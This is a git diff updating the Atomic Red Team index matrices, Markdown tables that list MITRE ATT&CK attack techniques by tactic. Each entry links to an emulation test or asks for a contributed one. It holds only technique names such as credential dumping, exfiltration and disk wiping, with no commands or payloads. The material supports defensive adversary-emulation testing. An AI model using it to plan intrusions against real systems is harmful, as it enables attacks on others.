+|  |  | Modify Authentication Process [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Scheduled Task/Job [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Hidden Users](../../T1564.002/T1564.002.md) | Two-Factor Authentication Interception [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | System Service Discovery [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |  |  | Non-Standard Encoding [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |
+|  |  | [Plist Modification](../../T1547.011/T1547.011.md) | [Setuid and Setgid](../../T1548.001/T1548.001.md) | Hidden Window [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Unsecured Credentials [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Time Based Evasion [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |  |  | [Non-Standard Port](../../T1571/T1571.md) |  |
+|  |  | Pluggable Authentication Modules [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Startup Items](../../T1037.005/T1037.005.md) | Hide Artifacts [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Web Cookies [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | User Activity Based Checks [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |  |  | One-Way Communication [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |
+|  |  | Port Knocking [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Sudo and Sudo Caching](../../T1548.003/T1548.003.md) | Hijack Execution Flow [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Web Portal Capture [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Virtualization/Sandbox Evasion [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |  |  | Port Knocking [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |
+|  |  | [RC Scripts](../../T1037.004/T1037.004.md) | [Trap](../../T1546.005/T1546.005.md) | [Impair Command History Logging](../../T1562.003/T1562.003.md) |  |  |  |  |  | Protocol Impersonation [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |
+|  |  | [Re-opened Applications](../../T1547.007/T1547.007.md) | [Unix Shell Configuration Modification](../../T1546.004/T1546.004.md) | Impair Defenses [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |  |  |  |  | Protocol Tunneling [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |
+|  |  | Redundant Access [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Valid Accounts [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Indicator Blocking [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |  |  |  |  | Proxy [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |
+|  |  | [SSH Authorized Keys](../../T1098.004/T1098.004.md) |  | Indicator Removal from Tools [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |  |  |  |  | Remote Access Software [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |
+|  |  | Scheduled Task/Job [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  | Indicator Removal on Host [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |  |  |  |  | [Standard Encoding](../../T1132.001/T1132.001.md) |  |
+|  |  | Server Software Component [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  | [Install Root Certificate](../../T1553.004/T1553.004.md) |  |  |  |  |  | Steganography [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |
+|  |  | [Startup Items](../../T1037.005/T1037.005.md) |  | Invalid Code Signature [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |  |  |  |  | Symmetric Cryptography [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |
+|  |  | Traffic Signaling [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  | LC_MAIN Hijacking [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |  |  |  |  | Traffic Signaling [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |
+|  |  | [Trap](../../T1546.005/T1546.005.md) |  | [Linux and Mac File and Directory Permissions Modification](../../T1222.002/T1222.002.md) |  |  |  |  |  | [Web Protocols](../../T1071.001/T1071.001.md) |  |
+|  |  | [Unix Shell Configuration Modification](../../T1546.004/T1546.004.md) |  | Local Accounts [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |  |  |  |  | Web Service [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |
+|  |  | Valid Accounts [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  | Masquerade Task or Service [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |  |  |  |  |  |  |
+|  |  | Web Shell [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  | Masquerading [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |  |  |  |  |  |  |
+|  |  |  |  | [Match Legitimate Name or Location](../../T1036.005/T1036.005.md) |  |  |  |  |  |  |  |
+|  |  |  |  | Modify Authentication Process [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |  |  |  |  |  |  |
 |  |  |  |  | [Obfuscated Files or Information](../../T1027/T1027.md) |  |  |  |  |  |  |  |
 |  |  |  |  | Pluggable Authentication Modules [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |  |  |  |  |  |  |
 |  |  |  |  | Port Knocking [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |  |  |  |  |  |  |
 |  |  |  |  | Process Injection [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |  |  |  |  |  |  |
 |  |  |  |  | Redundant Access [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |  |  |  |  |  |  |
+|  |  |  |  | Reflective Code Loading [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |  |  |  |  |  |  |
 |  |  |  |  | Rename System Utilities [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |  |  |  |  |  |  |
+|  |  |  |  | Resource Forking [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |  |  |  |  |  |  |
 |  |  |  |  | Right-to-Left Override [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |  |  |  |  |  |  |
 |  |  |  |  | Rootkit [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |  |  |  |  |  |  |
 |  |  |  |  | Run Virtual Instance [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |  |  |  |  |  |  |
diff --git a/atomics/Indexes/Matrices/matrix.md b/atomics/Indexes/Matrices/matrix.md
index bb745ad1..1672c2cc 100644
--- a/atomics/Indexes/Matrices/matrix.md
+++ b/atomics/Indexes/Matrices/matrix.md
@@ -2,121 +2,129 @@
 | initial-access | execution | persistence | privilege-escalation | defense-evasion | credential-access | discovery | lateral-movement | collection | exfiltration | command-and-control | impact |
 |-----|-----|-----|-----|-----|-----|-----|-----|-----|-----|-----|-----|
 | [Cloud Accounts](../../T1078.004/T1078.004.md) | [AppleScript](../../T1059.002/T1059.002.md) | [Accessibility Features](../../T1546.008/T1546.008.md) | Abuse Elevation Control Mechanism [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Abuse Elevation Control Mechanism [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [/etc/passwd and /etc/shadow](../../T1003.008/T1003.008.md) | Account Discovery [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Application Access Token [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | ARP Cache Poisoning [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Automated Exfiltration](../../T1020/T1020.md) | Application Layer Protocol [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Account Access Removal](../../T1531/T1531.md) |
-| Compromise Hardware Supply Chain [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [At (Linux)](../../T1053.001/T1053.001.md) | [Account Manipulation](../../T1098/T1098.md) | Access Token Manipulation [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Access Token Manipulation [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | ARP Cache Poisoning [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Application Window Discovery](../../T1010/T1010.md) | Component Object Model and Distributed COM [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Archive Collected Data](../../T1560/T1560.md) | [Data Transfer Size Limits](../../T1030/T1030.md) | Asymmetric Cryptography [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Application Exhaustion Flood [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |
-| Compromise Software Dependencies and Development Tools [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [At (Windows)](../../T1053.002/T1053.002.md) | Active Setup [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Accessibility Features](../../T1546.008/T1546.008.md) | Application Access Token [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [AS-REP Roasting](../../T1558.004/T1558.004.md) | [Browser Bookmark Discovery](../../T1217/T1217.md) | [Distributed Component Object Model](../../T1021.003/T1021.003.md) | Archive via Custom Method [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Exfiltration Over Alternative Protocol](../../T1048/T1048.md) | Bidirectional Communication [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Application or System Exploitation [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |
-| Compromise Software Supply Chain [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Command and Scripting Interpreter [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Add Office 365 Global Administrator Role [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Active Setup [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Asynchronous Procedure Call](../../T1055.004/T1055.004.md) | [Bash History](../../T1552.003/T1552.003.md) | Cloud Account [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Exploitation of Remote Services [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Archive via Library](../../T1560.002/T1560.002.md) | [Exfiltration Over Asymmetric Encrypted Non-C2 Protocol](../../T1048.002/T1048.002.md) | Commonly Used Port [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Data Destruction](../../T1485/T1485.md) |
-| [Default Accounts](../../T1078.001/T1078.001.md) | Component Object Model [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Add-ins](../../T1137.006/T1137.006.md) | AppCert DLLs [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [BITS Jobs](../../T1197/T1197.md) | Brute Force [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Cloud Groups [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Internal Spearphishing [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Archive via Utility](../../T1560.001/T1560.001.md) | Exfiltration Over Bluetooth [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Communication Through Removable Media [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Data Encrypted for Impact](../../T1486/T1486.md) |
-| Domain Accounts [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Component Object Model and Distributed COM [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Additional Cloud Credentials](../../T1098.001/T1098.001.md) | [AppInit DLLs](../../T1546.010/T1546.010.md) | [Binary Padding](../../T1027.001/T1027.001.md) | [Cached Domain Credentials](../../T1003.005/T1003.005.md) | Cloud Infrastructure Discovery [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Lateral Tool Transfer [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Audio Capture](../../T1123/T1123.md) | [Exfiltration Over C2 Channel](../../T1041/T1041.md) | [DNS](../../T1071.004/T1071.004.md) | Data Manipulation [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |
-| Drive-by Compromise [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Container Administration Command](../../T1609/T1609.md) | AppCert DLLs [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Application Shimming](../../T1546.011/T1546.011.md) | Bootkit [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Cloud Instance Metadata API [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Cloud Service Dashboard [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Pass the Hash](../../T1550.002/T1550.002.md) | [Automated Collection](../../T1119/T1119.md) | Exfiltration Over Other Network Medium [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | DNS Calculation [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Defacement [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |
-| Exploit Public-Facing Application [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Container Orchestration Job](../../T1053.007/T1053.007.md) | [AppInit DLLs](../../T1546.010/T1546.010.md) | [Asynchronous Procedure Call](../../T1055.004/T1055.004.md) | Build Image on Host [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Container API](../../T1552.007/T1552.007.md) | Cloud Service Discovery [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Pass the Ticket](../../T1550.003/T1550.003.md) | [Clipboard Data](../../T1115/T1115.md) | Exfiltration Over Physical Medium [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Data Encoding [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Direct Network Flood [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |
-| [External Remote Services](../../T1133/T1133.md) | [Cron](../../T1053.003/T1053.003.md) | [Application Shimming](../../T1546.011/T1546.011.md) | [At (Linux)](../../T1053.001/T1053.001.md) | [Bypass User Account Control](../../T1548.002/T1548.002.md) | [Credential API Hooking](../../T1056.004/T1056.004.md) | Container and Resource Discovery [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [RDP Hijacking](../../T1563.002/T1563.002.md) | Confluence [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Exfiltration Over Symmetric Encrypted Non-C2 Protocol [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Data Obfuscation [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Disk Content Wipe [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |
-| Hardware Additions [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Deploy Container [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [At (Linux)](../../T1053.001/T1053.001.md) | [At (Windows)](../../T1053.002/T1053.002.md) | [CMSTP](../../T1218.003/T1218.003.md) | [Credential Stuffing](../../T1110.004/T1110.004.md) | [Domain Account](../../T1087.002/T1087.002.md) | [Remote Desktop Protocol](../../T1021.001/T1021.001.md) | [Credential API Hooking](../../T1056.004/T1056.004.md) | [Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol](../../T1048.003/T1048.003.md) | Dead Drop Resolver [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Disk Structure Wipe [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |
-| [Local Accounts](../../T1078.003/T1078.003.md) | [Dynamic Data Exchange](../../T1559.002/T1559.002.md) | [At (Windows)](../../T1053.002/T1053.002.md) | [Authentication Package](../../T1547.002/T1547.002.md) | [COR_PROFILER](../../T1574.012/T1574.012.md) | [Credentials In Files](../../T1552.001/T1552.001.md) | [Domain Groups](../../T1069.002/T1069.002.md) | Remote Service Session Hijacking [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Data Staged [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Exfiltration Over Web Service](../../T1567/T1567.md) | Domain Fronting [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Disk Wipe [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |
-| Phishing [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Exploitation for Client Execution [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Authentication Package](../../T1547.002/T1547.002.md) | [Boot or Logon Autostart Execution](../../T1547/T1547.md) | [Clear Command History](../../T1070.003/T1070.003.md) | [Credentials from Password Stores](../../T1555/T1555.md) | [Domain Trust Discovery](../../T1482/T1482.md) | Remote Services [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Data from Cloud Storage Object [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Exfiltration over USB [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Domain Generation Algorithms [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Endpoint Denial of Service [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |
-| [Replication Through Removable Media](../../T1091/T1091.md) | Graphical User Interface [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [BITS Jobs](../../T1197/T1197.md) | Boot or Logon Initialization Scripts [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Clear Linux or Mac System Logs](../../T1070.002/T1070.002.md) | [Credentials from Web Browsers](../../T1555.003/T1555.003.md) | Email Account [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Replication Through Removable Media](../../T1091/T1091.md) | Data from Configuration Repository [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Exfiltration to Cloud Storage [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Dynamic Resolution [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | External Defacement [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |
-| [Spearphishing Attachment](../../T1566.001/T1566.001.md) | Inter-Process Communication [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Boot or Logon Autostart Execution](../../T1547/T1547.md) | [Bypass User Account Control](../../T1548.002/T1548.002.md) | [Clear Windows Event Logs](../../T1070.001/T1070.001.md) | [Credentials in Registry](../../T1552.002/T1552.002.md) | [File and Directory Discovery](../../T1083/T1083.md) | [SMB/Windows Admin Shares](../../T1021.002/T1021.002.md) | Data from Information Repositories [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Exfiltration to Code Repository [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Encrypted Channel](../../T1573/T1573.md) | Firmware Corruption [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |
-| Spearphishing Link [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | JavaScript [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Boot or Logon Initialization Scripts [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [COR_PROFILER](../../T1574.012/T1574.012.md) | [Cloud Accounts](../../T1078.004/T1078.004.md) | [DCSync](../../T1003.006/T1003.006.md) | Internet Connection Discovery [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | SSH [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Data from Local System [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Scheduled Transfer [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | External Proxy [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Inhibit System Recovery](../../T1490/T1490.md) |
-| Spearphishing via Service [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Launchctl](../../T1569.001/T1569.001.md) | Bootkit [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Change Default File Association](../../T1546.001/T1546.001.md) | Code Signing [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Domain Controller Authentication [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Local Account](../../T1087.001/T1087.001.md) | SSH Hijacking [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Data from Network Shared Drive [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Traffic Duplication [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Fallback Channels [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Internal Defacement](../../T1491.001/T1491.001.md) |
-| Supply Chain Compromise [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Launchd](../../T1053.004/T1053.004.md) | [Browser Extensions](../../T1176/T1176.md) | [Cloud Accounts](../../T1078.004/T1078.004.md) | Code Signing Policy Modification [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Exploitation for Credential Access [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Local Groups](../../T1069.001/T1069.001.md) | Shared Webroot [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Data from Removable Media [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Transfer Data to Cloud Account [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Fast Flux DNS [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Network Denial of Service [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |
-| Trusted Relationship [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Malicious File](../../T1204.002/T1204.002.md) | [COR_PROFILER](../../T1574.012/T1574.012.md) | [Component Object Model Hijacking](../../T1546.015/T1546.015.md) | [Compile After Delivery](../../T1027.004/T1027.004.md) | [Forced Authentication](../../T1187/T1187.md) | [Network Service Scanning](../../T1046/T1046.md) | [Software Deployment Tools](../../T1072/T1072.md) | Email Collection [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  | File Transfer Protocols [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | OS Exhaustion Flood [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |
-| Valid Accounts [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Malicious Image [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Change Default File Association](../../T1546.001/T1546.001.md) | [Container Orchestration Job](../../T1053.007/T1053.007.md) | [Compiled HTML File](../../T1218.001/T1218.001.md) | Forge Web Credentials [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Network Share Discovery](../../T1135/T1135.md) | Taint Shared Content [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Email Forwarding Rule [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  | [Ingress Tool Transfer](../../T1105/T1105.md) | Reflection Amplification [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |
-|  | Malicious Link [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Cloud Account](../../T1136.003/T1136.003.md) | [Create Process with Token](../../T1134.002/T1134.002.md) | Component Firmware [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [GUI Input Capture](../../T1056.002/T1056.002.md) | [Network Sniffing](../../T1040/T1040.md) | Use Alternate Authentication Material [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [GUI Input Capture](../../T1056.002/T1056.002.md) |  | [Internal Proxy](../../T1090.001/T1090.001.md) | [Resource Hijacking](../../T1496/T1496.md) |
-|  | [Native API](../../T1106/T1106.md) | [Cloud Accounts](../../T1078.004/T1078.004.md) | Create or Modify System Process [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Control Panel](../../T1218.002/T1218.002.md) | [Golden Ticket](../../T1558.001/T1558.001.md) | [Password Policy Discovery](../../T1201/T1201.md) | VNC [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Input Capture [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  | Junk Data [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Runtime Data Manipulation [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |
-|  | Network Device CLI [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Component Firmware [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Cron](../../T1053.003/T1053.003.md) | Create Cloud Instance [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Group Policy Preferences](../../T1552.006/T1552.006.md) | [Peripheral Device Discovery](../../T1120/T1120.md) | Web Session Cookie [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Keylogging](../../T1056.001/T1056.001.md) |  | Mail Protocols [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Service Exhaustion Flood [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |
